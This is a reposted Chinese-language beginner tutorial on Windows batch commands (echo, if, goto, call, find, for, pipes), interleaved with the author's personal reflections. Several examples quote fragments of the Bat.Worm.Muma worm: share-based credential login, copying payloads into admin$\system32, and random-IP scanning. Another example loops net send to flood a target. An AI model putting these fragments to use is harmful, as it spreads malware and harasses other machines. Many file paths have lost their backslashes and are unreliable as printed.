[轉載]windows批處理命令教程

作者:迷失的小熊

鏈接:WINDOWS命令和批處理-晨曦-51CTO博客

來源:51CTO博客-原創IT文章分享平台

著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。

本人今天去面試第一次遇到問我windows批處理腳本的之前是問shell腳本後來說他們那裡既有windows主機也有linux主機所以都得會無奈小哥只會點shell批處理也只會一點點皮毛所以開始搜集學習看到這篇還不錯。有下面一篇WINDOWS命令和批處理也是。

這篇博文來自ChinaUnix博客 - Article Blog 黃雨火狐感覺文筆不錯分享給大家

這是一篇技術教程真心誠意會用很簡單的文字表達清楚自己的意思只要你識字就能看懂就能學到知識。寫這篇教程的目的是讓每一個看過這些文字的朋友記 住一句話如果愛可以讓事情變的更簡單那麼就讓它簡單吧看這篇教程的方法就是慢慢慢的如同品一個女人、一杯茗茶你會發現很多以前就在眼前的東 西突然變的很遙遠而有些很遙遠的東西卻又突然回到了眼前。.

先概述一下批處理是個什麼東東。批處理的定義至今我也沒能給出一個合適的----眾多高手們也都沒給出----反正我不知道----看了我也不一定信服 ----我是個菜鳥當然就更不用說了但我想總結出一個"比較合適的"而且我也相信自己可以把它解釋的很清楚讓更多的菜鳥都知道這是個什麼東東你 用這個東東可以幹什麼事情。或許你會因為這篇文章而"無條件愛上批處理"那麼我的目的就達到了----我就是要讓你愛上它我就這麼拽你能怎麼著 真的愛有時候就這麼拽就是這麼沒理由就是這麼不要臉真的

按照我的理解批處理的本質是一堆DOS命令按一定順序排列而形成的集合。

OK,never claver and get to business閑話少說言歸正傳。批處理也稱為批處理腳本英文譯為BATCH批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式 只要遵守以下這條就ok了每一行可視為一個命令每個命令里可以含多條子命令從第一行開始執行直到最後一行結束它運行的平台是DOS。批處理有一 個很鮮明的特點使用方便、靈活功能強大自動化程度高。我不想讓自己寫的教程枯燥無味因為牽纏到代碼批處理的內容算是代碼吧的問題本來就是枯 燥的很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力感受它那古靈精怪的性格不 知不覺中愛上批處理暈怎麼又是愛到底批處理和愛有什麼關係答案沒有。再說句"閑話"要學好批處理DOS基礎一定要牢當然腦子靈活也是 很重要的一方面。

例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟將下面的幾行命令保存為name.bat然後執行以後文中只給出代碼保存和執行方式類似

ping sz.tencent.com > a.txt

ping sz1.tencent.com >> a.txt

ping sz2.tencent.com >> a.txt

ping sz3.tencent.com >> a.txt

ping sz4.tencent.com >> a.txt

ping sz5.tencent.com >> a.txt

ping sz6.tencent.com >> a.txt

ping sz7.tencent.com >> a.txt

exit

是不是都能看的懂是不是很easy但它的作用卻是很實用的執行這個批處理後可以在你的當前盤建立一個名為a.txt的文件它裡面記錄的信息可以 幫助你迅速找到速度最快的QQ伺服器從而遠離"從伺服器中轉"那一痛苦的過程。這裡>的意思是把前面命令得到的東西放到後面所給的地方 >>的作用和>的相同區別是把結果追加到前一行得出的結果的後面具體的說是下一行而前面一行命令得出的結果將保留這樣可以使 這個a.txt文件越來越大想到如何搞破壞了。By the way這個批處理還可以和其他命令結合搞成完全自動化判斷伺服器速度的東東執行後直接顯示速度最快的伺服器IP是不是很爽後面還將詳細介紹。

例二、再給出一個已經過時的例子a.bat

@echo off

if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif

a.bat

為什麼說這是個過時的例子呢很簡單因為現在已經幾乎沒有人用帶廣告的QQ了KAO我的QQ還顯示好友三圍呢所以它幾乎用不上了。但曾經它 的作用是不可小窺的刪除QQ的廣告讓對話框乾乾淨淨。這裡用的地址是QQ的默認安裝地址默認批處理文件名為a.bat你當然可以根據情況自行修 改。在這個腳本中使用了if命令使得它可以達到適時判斷和刪除廣告圖片的效果你只需要不關閉命令執行後的DOS窗口不按CTRL+C強行終止命令 它就一直監視是否有廣告圖片QQ也再不斷查看自己的廣告是否被刪除。當然這個腳本佔用你一點點內存呵呵。

例三使用批處理腳本查是否中冰河。腳本內容如下

@echo off

netstat -a -n > a.txt

type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"

del a.txt

pause & exit

這裡利用了netstat命令檢查所有的網路埠狀態只需要你清楚常見木馬所使用的埠就能很easy的判斷出來是否被人種了冰河。然這不是確定 的因為冰河默認的埠7626完全可以被人修改。這裡介紹的只是方法和思路。這裡介紹的是方法和思路稍做改動就變成可以檢查其他木馬的腳本了再改 動一下加進去參數和埠及信息列表文件後就變成自動檢測所有木馬的腳本了。呵呵是不是很過癮腳本中還利用了組合命令&&和管道命 令|後面將詳細介紹。

例四借批處理自動清除系統垃圾腳本如下

@echo off

if exist c:windows emp*.* del c:windows emp*.*

if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*

if exist c:windowsHistory*.* del c:windowsHistory*.*

if exist c:windows
ecent*.* del c:windows
ecent*.*

將以上腳本內容保存到autoexec.bat里每次開機時就把系統垃圾給自動刪除了。這裡需要注意兩點一、DOS不支持長文件名所以就出現了 Tempor~1這個東東二、可根據自己的實際情況進行改動使其符合自己的要求。怎麼樣看到這裡你對批處理腳本是不是已經有點興趣了是不是發現 自己已經慢慢愛上了這個東東別高興的太早愛不是一件簡單的事它也許能帶給你快樂和幸福當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話 I 服了 YOU繼續努力吧也許到最後你不一定得到真愛真的有這可能愛過的人都知道但你可以體會到整個愛的過程就是如此。 酸、苦和辣有沒有甜天知道。為什麼會把批處理和愛情扯上關係不是我無聊也不是因為這樣寫有趣多少原因有二其一批處理和愛情有很多相同的地方 有些地方我用"專業"的行話解釋不清我不懷疑自己的表達能力而是事情本身就不好說清楚說了=沒說但用地球人都知道的愛情一比喻愛情是什麼我 **怎麼知道沒準你心裡一下就亮堂了事半功倍何樂而不為其二我這段時間狀態不是很好感冒發燒頭疼鼻塞但主要還是感情上精神摧殘搞的 人煩透了借寫教程之際感慨幾句大家就全當買狗皮膏藥了完全可以省略不看也許還真有點效果----不至於讓你看著看著就睡著了把頭磕了來找我報銷 醫藥費。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。

看過第一章的朋友一定對批處理有了初步的印象知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裡嗎其實很簡單思路要靈活沒有做不到 的只有想不到的。這和愛情就有點不同了因為愛情的世界是兩個人的世界一廂情願不叫愛情補充那叫單戀。廢話而批處理卻是一個人的天堂你可以 為所欲為沒有達不到的境界

批處理看起來雜亂無章但它的邏輯性之強絕對不比其他程序語言如彙編低如果你寫的腳本是一堆亂麻雖然每一行命令都正確但從頭執行到尾後不一 定得到你想要的結果也許是一屏幕的Bad command or fail name。這又和愛情有了共同點按步驟來經營缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友相信沒有不肯定這句話的。我的愛情批處理 輸出的結果不是Bad command or fail name屏幕是這麼顯示的『你的愛情不是內部或外部命令也不是可運行的程序或批處理文件。然後就是游標不停閃動等待這下一次錯誤的輸入。

【你的輕輕一點,我的無限動力,點此推薦一把】

從這一章開始將由淺入深的介紹批處理中常用的命令很多常見DOS命令在批處理腳本中有這廣泛的應用它們是批處理腳本的BODY部分但批處理比 DOS更靈活多樣更具備自動化。要學好批處理DOS一定要有比較紮實的基礎。這裡只講述一些比較少用相對來說的DOS命令常用命令如COPY、 DIR等就不做介紹了這些看似簡單的命令實際複雜的很我怕自己都說不清楚。

例五先看一個實例。這是一個很有意思的腳本一個小巧實用的 好東東把批處理"自動化"的特點體現的淋漓盡致。先介紹一下這個腳本的來歷大家都知道彙編程序MASM的上機過程先要對源代碼進行彙編、連接 然後再執行而這中間有很多環節需要輸入很多東西麻煩的很只有經歷過的朋友才懂得。如何使這個過程變的簡單呢在我們搞彙編課程設計時我"被逼" 寫了這個腳本用起來很爽呵呵。看看腳本

內容

@echo off

::close echo

cls

::clean screen

echo This programme is to make the MASM programme automate

::display info

echo Edit by CODERED

::display info

echo Mailto me : qqkiller***@sina.com

::display info

if "%1"=="" goto usage

::if input without paramater goto usage

if "%1"=="/?" goto usage

::if paramater is "/?" goto usage

if "%1"=="help" goto usage

::if paramater is "help" goto usage

pause

::pause to see usage

masm %1.asm

::assemble the .asm code

if errorlevel 1 pause & edit %1.asm

::if error pause to see error msg and edit the code

link %1.obj & %1

::else link the .obj file and execute the .exe file

:usage

::set usage

echo Usage: This BAT file name [asm file name]

echo Default BAT file name is START.BAT

::display usage

先不要被這一堆的東西給嚇怕了靜下心來仔細的看回想一下第一章中第一段是怎麼寫的。已經給出了每一行命令的解釋兩個冒號後面的內容為前一行內 容解釋的E文害怕E文的朋友也不用擔心都很easy一看就懂了實在不懂了不會查詞典啊這麼懶在腳本執行時不顯示也不起任何作用。倒數第 5行行首有一個冒號可不是筆誤哦具體作用後面會詳細講到。此腳本中masm和link是彙編程序和連接程序必須和edit程序以及你要編輯的源代碼 當然還有這個腳本廢話一起在當前目錄中。使用這個批處理腳本可以最大可能的減少手工輸入整個過程中只需要按幾下回車鍵即可實現從彙編源代碼 到可執行exe文件的自動化轉換並具備智能判斷功能如果彙編時源代碼出現錯誤彙編不成功則自動暫停顯示錯誤信息並在按任意鍵後自動進入編輯源 代碼界面如果源代碼彙編成功則進行連接並在連接後自動執行生成的exe文件。另外由於批處理命令的簡單性和靈活性這個腳本還具備良好的可改進 性簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友一定別忘了實習一下

在這個腳本中出現了如下幾個命令@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。

1、@

這個符號大家都不陌生email的必備符號它怎麼會跑到批處理中呢呵呵不是它的錯批處理本來就離不開它要不就不完美了。它的作用是讓執行窗口 中不顯示它後面這一行的命令本身多麼繞口的一句話。呵呵通俗一點說行首有了它的話這一行的命令就不顯示了。在例五中首行的@echo off中@的作用就是讓腳本在執行時不顯示後面的echo off部分。這下懂了吧還是不太懂沒關係看完echo命令簡介自然就懂了。

2、echo

中文為"反饋"、"回顯"的意思。它其實是一個開關命令就是說它只有兩種狀態打開和關閉。於是就有了echo on和echo off兩個命令了。

直接執行echo命令將顯示當前echo命令狀態off或on執行echo off將關閉回顯它後面的所有命令都不顯示命令本身只顯示執行後的結果除非執行echo on命令。在例五中首行的@命令和echo off命令聯合起來達到了兩個目的不顯示echo off命令本身不顯示以後各行中的命令本身。的確是有點亂但你要是練習一下的話3分鐘包會不會的退錢

echo命令的另一種用法

一可以用它來顯示信息如例五中倒數第二行Default BAT file name is START.BAT將在腳本執行後的窗口中顯

示而echo命令本身不顯示為什麼。

二可以直接編輯文本文件。例六

echo nbtstat -A 192.168.0.1 > a.bat

echo nbtstat -A 192.168.0.2 >> a.bat

echo nbtstat -A 192.168.0.3 >> a.bat

以上腳本內容的編輯方法是直接是命令行輸入每行一回車。最後就會在當前目錄下生成一個a.bat的文件直接執行就會得到結果。

3、::

這個命令的作用很簡單它是注釋命令在批處理腳本中和rem命令等效。它後面的內容在執行時不顯示也不起任何作用因為它只是注釋只是增加了腳本的可讀性和C語言中的/*............*/類似。地球人都能看懂就不多說了。

4、pause

中文為"暫停"的意思看看你的workman上我一直認為它是批處理中最簡單的一個命令單純、實用。它的作用是讓當前程序進程暫停一下並顯示 一行信息請按任意鍵繼續. . .。在例五中這個命令運用了兩次第一次的作用是讓使用者看清楚程序信息第二個是顯示錯誤的彙編代碼信息其實不是它想顯示而是masm程序在顯示錯 誤信息時被暫它停了以便讓你看清楚你的源代碼錯在哪裡。

5、:和goto

為什麼要把這兩個命令聯合起來介紹因為它們是分不開的無論少了哪個或多了哪個都會出錯。goto是個跳轉命令:是一個標籤。當程序運行到goto 時將自動跳轉到:定義的部分去執行了是不是分不開。例五中倒數第5行行首出現一個:則程序在運行到goto時就自動跳轉到:標籤定義的部分執 行結果是顯示腳本usageusage就是標籤名稱。不難看出goto命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方它們是一一對應的關 系。goto命令也經常和if命令結合使用。至於這兩個命令具體用法參照例五。

goto命令的另一種用法一提前結束程序。在程序中間使用goto命令跳轉到某一標籤而這一標籤的內容卻定義為退出。如

......

goto end

......

:end

這裡:end在腳本最後一行其實這個例子很弱智後面講了if命令和組合命令你就知道了。

6、%

這個百分號嚴格來說是算不上命令的它只是批處理中的參數而已多個%一起使用的情況除外以後還將詳細介紹但千萬別以為它只是參數就小看了它看看例五中有多少地方用到它少了它批處理的功能就減少了51%了。看看例七

net use \%1ipc$ %3 /u:"%2"

copy 11.BAT \%1admin$system32 /y

copy 13.BAT \%1admin$system32 /y

copy ipc2.BAT \%1admin$system32 /y

copy NWZI.EXE \%1admin$system32 /y

attrib \%1admin$system32.bat -r -h -s

以上代碼是Bat.Worm.Muma病毒中的一部分%1代表的IP2%代表的username3%代表password。執行形式為腳本文件名 參數一 參數二 ......。假設這個腳本被保存為a.bat則執行形式如下a IP username password。這裡IP、username、password是三個參數缺一不可因為程序不能正確運行並不是因為少了參數語法就不對這樣在腳 本執行過程中腳本就自動用用你的三個參數依次記住是依次也是一一對應的關係。代換1%、2%和3%這樣就達到了靈活運用的目的試想如果在 腳本中直接把IP、username和password都定義死那麼腳本的作用也就被固定了但如果使用%的話不同的參數可以達到不同的目的是不是 更靈活。

關於這個參數的使用在後續章節中還將介紹。一定要非常熟練才行這需要很多練習過程需要下點狠工夫

這一章就寫到這裡了。可能有朋友問了怎麼沒介紹if命令呵呵不是我忘了而是它不容易說清楚下一章再講了這一章講的這點東西如果你是初學者 恐怕也夠消化的了。記住一句話DOS是批處理的BODY任何一個DOS命令都可以被用在批處理腳本中去完成特定的功能。到這裡你是否已經想到了用自 己肚子里的東西去寫點帶有自動化色彩的東東呢很簡單就是一個DOS命令的集合而已相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分 用批處理來自動化完成了。

煩就好象一個半老女人到了更年期什麼事都想嘮叨幾句什麼事都感到不舒服看誰誰不爽。明知山有虎偏向虎山行最後留下一身傷痕無功而返時才發現 自己竟然如此脆弱如此渺小如此不堪一擊。徘徊在崩潰的邊緣突然回想起了自己最後一次扁人的那一刻還真有點懷念其實我很不喜歡扁人更不喜歡被人 扁。我需要發泄我用手指拚命的敲打著鍵盤在一陣接一陣有節奏的聲音中屏幕上出現了上面的這些文字。可難道這就是發泄的另一種方式嗎中國人還是厲 害早在幾千年前孔老夫子就說過"唯女子與小人難養也"真**有先見之明佩服

雖然是在發泄不過大家請放心以我的脾氣既然決定寫這篇教程就一定會儘力去寫好寫完美絕對不給自己留下遺憾要不這教程就不是我寫的

曾經有一篇經典的批處理教程出現在你的屏幕上你沒有保存直到找不到它的鏈接你才後悔莫及人世間最大的痛苦莫過於此。如果上天能給你一個再看一次的機 會你會對那篇教程說三個字我愛你如果非要給這份愛加上一個期限你希望是100年。因為100年後你恐怕早已經掛了而現在你的屏幕上出現了這 篇你正在看的批處理教程雖然不如你曾經看的那篇經典但如果勉強還過的去。你會愛它嗎時間會有50年那麼長嗎答案是試試看吧。

批處理腳本中最重要的幾個命令將在這一章詳細介紹但是很遺憾有些細節到現在我都沒掌握的很好甚至還有些生分。如同還不太懂得愛一樣。但我一直都在 努力即使一直都沒有收穫。所以可能講的會比較籠統但我會告訴你方法剩下的就是時間問題了需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒 滴水穿石非一日之功。有些事情比如學批處理比如愛一個人都是不能速成的甚至還會有付出艱辛而收穫為甚微的情況。再次重申看這篇教程的時候一定 要靜下心來除非你已經掌握了這篇教程的所有東西----但那也就不必看了浪費時間

7、if

接上一章接著講if命令。總的來說if命令是一個表示判斷的命令根據得出的每一個結果它都可以對應一個相應的操作。關於它的三種用法在這裡分開講。

(1)、輸入判斷。還是用例五裡面的那幾句吧

if "%1"=="" goto usage

if "%1"=="/?" goto usage

if "%1"=="help" goto usage

這裡判斷輸入的參數情況如果參數為空無參數則跳轉到usage如果參數為/?或help時大家一般看一個命令的幫助是不是輸入的/?或 help呢這裡這麼做只是為了讓這個腳本看起來更像一個真正的程序也跳轉到usage。這裡還可以用否定形式來表示"不等於"例如if not "%1"=="" goto usage則表示如果輸入參數不為空就跳轉到usage實際中這樣做就沒意義了這裡介紹用法管不了那麼多了呵呵。是不是很簡單其實翻譯成中 文體會一下就understand了。

(2)、存在判斷。再看例二里這句

if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif

如果存在那些gif文件就刪除這些文件。當然還有例四都是一樣的道理。注意這裡的條件判斷是判斷存在的當然也可以判斷不存在的例如下面這句"如 果不存在那些gif文件則退出腳本"if not exist C:Progra~1TencentAD*.gif exit。只是多一個not來表示否定而已。

(3)、結果判斷。還是拿例五開刀沒想到自己寫的腳本竟然用處這麼大呵呵

masm %1.asm

if errorlevel 1 pause & edit %1.asm

link %1.obj

先對源代碼進行彙編如果失敗則暫停顯示錯誤信息並在按任意鍵後自動進入編輯界面否則用link程序連接生成的obj文件。這裡只介紹一下和if命令 有關的地方&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼也叫錯誤碼DOS程序在運行完後都有返回碼如果和定義的錯誤碼 符合這裡定義的錯誤碼為1則執行相應的操作這裡相應的操作為pause & edit %1.asm部分。

另外和其他兩種用法一樣這種用法也可以表示否定。用否定的形式仍表達上面三句的意思代碼變為

masm %1.asm

if not errorlevel 1 link %1.obj

pause & edit %1.asm

看到本質了吧其實只是把結果判斷後所執行的命令互換了一下"if not errorlevel 1"和"if errorlevel 0"的效果是等效的都表示上一句masm命令執行成功因為它是錯誤判斷而且返回碼為00就表示否定就是說這個錯誤不存在就是說masm執行成 功。這裡是否加not錯誤碼到底用0還是1是值得考慮的兩個問題一旦搭配不成功腳本就肯定出錯所以一定要體會的很深刻才行。如何體會的深刻練 習自己寫一個腳本然後把有not和沒有not的情況返回碼為0或1的情況分別寫進去執行怎麼嫌麻煩啊排列組合算一下才四中情況你就嫌麻煩了

後面介紹管道命令和組合命令時還有更麻煩的呢怕了呵呵。這樣從執行的結果中就能很清楚的看出這兩種情況的區別。

這種用errorlevel結果判斷的用法是if命令最難的用法但也恰恰是最有用的用法如果你不會用errorlevel來判斷返回碼則要達到相同的效果必須用else來表示"否則"的操作是比較麻煩的。以上代碼必須變成

masm %1.asm

if exist %1.obj link %1.obj

else pause & edit %1.asm

關於if命令的這三種用法就say到這裡理解很簡單但應用時就不一定用的那麼得心應手主要是熟練程度的問題。可能有的朋友有點驚訝我怎麼沒給出類 似下面三行的用法介紹是因為下面三行是if命令幫助里對它自身用法的解釋任何人只要一個"if /?"就能看到我沒有必要在這裡多費口舌更重要的原因是我覺得這樣介紹的不清楚看的人不一定看的懂所以我採用上面自己對if命令的理解來介紹。 一定要注意的是這三種用法的格式各不相同而且也是不能改變的但實際上可以互換以為從本質上講這三種用法都是建立在判斷的基礎上的哲學教我們學 會透過現象看事物本質。有興趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command

IF [NOT] string1==string2 do command

IF [NOT] EXIST filename do command

8、call

學過彙編或C的朋友肯定都知道call指令表示什麼意思了在這裡它的意思其實也是一樣的。在批處理腳本中call命令用來從一個批處理腳本中調用另 一個批處理腳本。看例八默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat

start.bat

......

CALL 10.BAT 0

......

10.bat

......

ECHO %IPA%.%1 >HFIND.TMP

......

CALL ipc.bat IPCFind.txt

ipc.bat

for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有沒有看出什麼不對的地方沒看出來啊沒看出來就對了其實就沒有不對的地方嘛你怎麼看的出來從上面兩個腳本你可以得到如下信息

1、腳本調用可以靈活運用循環運用、重複運用。

2、腳本調用可以使用參數

關於第一點就不多說了聰明的你一看就應該會這裡說一下第二點。

在start.bat中10.bat後面跟了參數0在執行時的效果其實就是把10.bat里的參數%1用0代替。在start.bat中 ipc.bat後面跟了參數ipcfind.txt一個文件也可以做參數執行時的效果就是用ipc.bat中的每一行的三個變數這裡不懂沒關 系學過for命令後就懂了對應代換ipc.bat中的%%i、%%j和%%k。這裡參數調用是非常靈活的使用時需要好好體會。在初學期間可以先 學習只調用腳本至於連腳本的參數一起使用的情況在後面的學習中自然就會有比較深刻的理解這是因為當你已經可以靈活運用批處理腳本後如何使代碼寫的 更精簡更完美更高效就自然包括到了考慮的範圍這時候你就會發現在調用腳本時直接加入參數可以使代碼效率加倍。By the way上面的這幾個腳本都是Bat.Worm.Muma病毒的一部分在後面的教程里大家將有機會見到這個病毒的真面目。

那是不是說在同一個目錄下至少存在兩個批處理腳本文件只有一個你調用誰呵呵注意了這句話錯了只有一個照樣可以調用----調用自身看例九默認腳本文件名a.bat

net send %1 This is a call example.

call a.bat

這兩句一結合效果自然不怎麼樣因為只有一台機器來發消息誰怕誰啊我給你來個禮尚往來可如果有100台機器同時執行而且每台機器開10和窗口同 時向一個目標機器發消息的話呵呵。這裡call a.bat的作用就是調用自身執行完前一句net send命令後再調用自身達到了循環執行的目的。

給出一個很有意思的腳本有興趣的朋友可以實驗一下。例十默認腳本文件名為a.bat

call a.bat

一定要在DOS窗口下執行否則只會看到一個窗口一閃而過看不到最後結果。等執行完後當腳本被執行了1260次別忘了想一下到底是為什麼愛情有時 候跟這個腳本一樣一旦陷入死循環最後的結果都是意想不到的。只是愛情絕對不會等到被毫無理由的循環這麼多次也許在第三次時就出現了love is aborted的提示。

9、find

這是一個搜索命令用來在文件中搜索特定字元串通常也作為條件判斷的鋪墊程序我怎麼突然想起了這四個字。這個命令單獨使用的情況在批處理中是比較少見的因為沒什麼實際意義。還是借例三來說明

@echo off

netstat -a -n > a.txt

type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"

del a.txt

pause & exit

先用netstat命令檢查是否有冰河默認的埠7626在活動並把結果保存到a.txt中。然後使用type命令列出a.txt中的內容再在列出的 內容中搜索字元串"7626" 發現有的話則提示中了冰河否則退出。看find命令其實就這麼簡單但有一點必須要注意到如果不使用type命令列出a.txt中的內容而是直 接使用find命令在a.txt中找"7626"find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"就必須得給出這個a.txt的絕對路徑我試過了find並沒有默認路徑就是當前路徑的功能必須手動指定。也許是我錯了歡迎 指正。因為在find命令的幫助里有這麼一句話如果沒有指定路徑find將搜索鍵入的或者由另一個命令產生的文字。這裡的"另一個命令"自然就指的 type命令了。

至於find命令的其他幾個參數如v、n、i等有興趣的朋友自己去研究吧這已經屬於DOS學習的內容了這裡就不做介紹。關於find命令和其他命令的一些更精妙的用法有些簡直令人叫絕後續的教程中將介紹希望關注。

10、for、set、shift

為什麼把這三個命令放到一起來講原因除了我說明外恐怕誰也想不到很簡單的一句話其實我也不太懂是的對於這兩個命令我是從研究 Bat.Worm.Muma病毒開始學習的時間過去了不少但還是沒完全搞明白我怕講出來連自己都看不懂我更怕不小心講錯了成了罪人。所以我給出一 個腳本去告訴你如何讓這兩個命令給自己留一個初步的印象其實也就是這兩個命令的入門而並不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令 特別是for談何容易也許你會表揚我說我誠實、不懂就不懂也許你會罵我讓我既然不懂就趕緊滾蛋不要在這裡丟人顯眼也許你還會說一些別的這樣 那樣好聽或不好聽的話都隨便你了即使我不同意你說的話我也會誓死捍衛你說話的權利。看例十一

@echo off

for /? > for.txt

set /? > set.txt

shift /? >shift.txt

exit

執行後在當前路徑下就生成for.txt、set.txt和shift.txt三個文件裡面分別記錄了for命令、set命令和shift命令的幫助信 息。地球人都能看懂我就不多說了。我在網上曾經找了很長時間這三個命令的教程但都不理想基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令 後一定要寫一篇用自己的文字總結出來的for、set和shift教程關於shift命令後面介紹批處理的參數時還將涉及到一定會的這是我的 心愿之一需要注意的一點是這三個命令的幫助里 介紹的都比較死板雖然也舉了一些例子但這是遠遠不夠的。要掌握這兩個命令最需要的就是耐心沒寫錯就是耐心。光是認真看完它們的幫助文字就已經 需要足夠的耐心了要進一步練習領會這兩個命令難道不需要更大的耐心實戰練習的機會我會留給你的關鍵還是那句話看你有沒有耐心去研究了。看看例十 二

START.BAT

CALL MUMA.BAT

SET IPA=192.168

CALL 10.BAT 0

:NEARAGAIN

netstat -n|find ":" >A.TMP

FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%

K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT

:START

CALL RANDOM.BAT

IF "%NUM1%"=="255" GOTO NEARAGAIN

IF "%NUM1%"=="192" GOTO NEARAGAIN

IF "%NUM1%"=="127" GOTO NEARAGAIN

IF "%NUM2%"=="255" GOTO NEARAGAIN

IF "%NUM3%"=="255" GOTO NEARAGAIN

IF "%NUM4%"=="255" GOTO NEARAGAIN

SET IPA=%NUM1%.%NUM2%

ECHO START > A.LOG

PING %IPA%.%NUM3%.1>B.TMP

PING %IPA%.%NUM3%.%NUM4%>>B.TMP

FIND /C /I "from" B.TMP

IF ERRORLEVEL 1 GOTO START

CALL 10.BAT %NUM3%

DEL A.LOG

GOTO START

這是Bat.Worm.Muma病毒的起始腳本設置了病毒運行的環境變數。是不是看的頭都大了又忘了寫在第一章第一段的那句話靜下心來你應該 能體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人你得學會寬容打不得罵不得用你寬大的胸懷去包容她的一切即使你發現愛她的過程如看上面 代碼的過程一樣讓你頭大但你還是得愛下去----愛需要理由嗎不需要嗎需要嗎不需要嗎......等到風平浪靜後最直觀的收穫就是你的耐心變 的前所未有的充足面對她的複雜和善變你自己會處變不驚以自己的方式去從容應付曾經應付不了的場面即使到最後一身傷痕也會感慨曾經的舉動有多麼偉 大。

沒錯這就是批處理的魅力這就是愛的魅力。讓你受了傷還感謝傷你的人。

不得不再次重申一遍各種DOS命令是批處理的BODY我實在找不出一個更合適的詞來形容他們之間的關係學好DOS命令是學好批處理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等內部命令以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令在批處理里的應用非常廣泛。這篇教程的作用是教你認識批處理以及如何利用DOS命令組合出來一個完美的批處 理腳本去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的這已經超出了本文的範疇在此就不贅述 了。

不知不覺中第三章已經結束了。耳麥里傳來的依然是陳曉東的《比我幸福》每隔4分32秒就自動重播。雖然我不並不很喜歡陳曉東可這並不妨礙我喜歡音樂 喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的追逐/請記得你要比我幸福 /才值得我對自己殘酷/我默默的倒數/最後再把你看清楚/看你眼裡的我好饃糊/慢慢被放逐。我如同一個因年老失色而拉不到客的老***絕望的徘徊在曾經輝 煌的紅燈區用一臉的木然瞟一眼來來去去的人群默默的回憶自己並不光彩的過去幻想自己將要面對的未來。直到看見那些幸福依偎在一起的情侶們才突然間 發現上帝的公平和這種公平的殘忍。

可以說批處理腳本中最重要的幾個命令我都沒有給出如echo或if那樣比較詳細的介紹原因我已經說了因為我也是個菜我也不太懂----但我正在 學你呢今天又去了一趟圖書館淘金一樣發現了一本叫《DOS批文件》的東東藏在一個角落裡落滿了灰五本摞一起就跟磚頭一樣厚了。大概翻了一下里 面介紹了很多比較底層和基礎的東西雖然從思路上講已經有點time out了很多東西已經基本沒有利用的價值這就是信息時代的更新速度但還是很值得看的。於是打算下午淘過來放假回去了再好好研究一番連同那幾個 不熟悉的命令一起搞熟了再續寫這篇教程。我始終堅信沒有最好只有更好。

但是很可惜等到下午再去的時候圖書館樓梯口已經立了一個牌子上面寫著out of service----人家這學期的工作結束了。於是回到宿舍打算繼續寫第四章正在這時又得到一個"振奮人心"的消息期末考試有一科掛了而且是全班 第一----這一門整個班裡就掛了我一個。鬱悶的情緒剎那間湧上心頭整個世界彷彿都變成黑的了。食堂和小賣部已經陸續關門學校里的人越來越少迎面過 來的幾個同學也都一身行李忙碌著準備回家過年內心的孤寂和失落如同夏日裡暴雨前的烏雲迅速而不可抗拒的佔領了心裡每一個角落。迎著一月的冷風我一個 人在天橋上發獃還能怎麼樣連期末考試都應付不了的失敗男人。

"課間休息"時間好象長了點呵呵上課了從這一章開始將詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的如同愛一個人時不 一定非得每天去陪但如果少了這個過程事情就會變的複雜而不完美所以我認為管道命令和組合命令是批處理的調味劑幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些|、>、>>

11、|

這個命令恐怕大家不是很陌生經常操作DOS的朋友都應該知道當我們查看一個命令的幫助時如果幫助信息比較長一屏幕顯示不完時DOS並不給我們時間 讓我們看完一屏幕再翻到另一屏幕而是直接顯示到幫助信息的最後。如在提示符下輸入help回車時就會看到當前DOS版本所支持的所有非隱含命令但你 只能看到最後的那些命令前面的早就一閃而過了如何解決這個問題看例十三

help | more

回車後會發現顯示滿一屏幕後就自動暫停等候繼續顯示其他信息。當按寫回車時變成一個一個的出現按下空格鍵時一屏幕一屏幕顯示直到

全部顯示完為止按其他鍵自動停止返回DOS。

為什麼會出現上述現象答案很簡單這裡結合了管道命令|和DOS命令more來共同達到目的的。這裡先簡單介紹一下help命令和more命令對理解|命令的用法有很大幫助。

11.1、 help命令。其實這個命令是不需要多說的但在上述例子中help命令的用法比較特殊直接在DOS提示符下輸入help命令結果是讓DOS顯示其所 支持的所有非隱含命令而在其他地方用help命令如輸入net help回車則是顯示net命令的幫助信息。

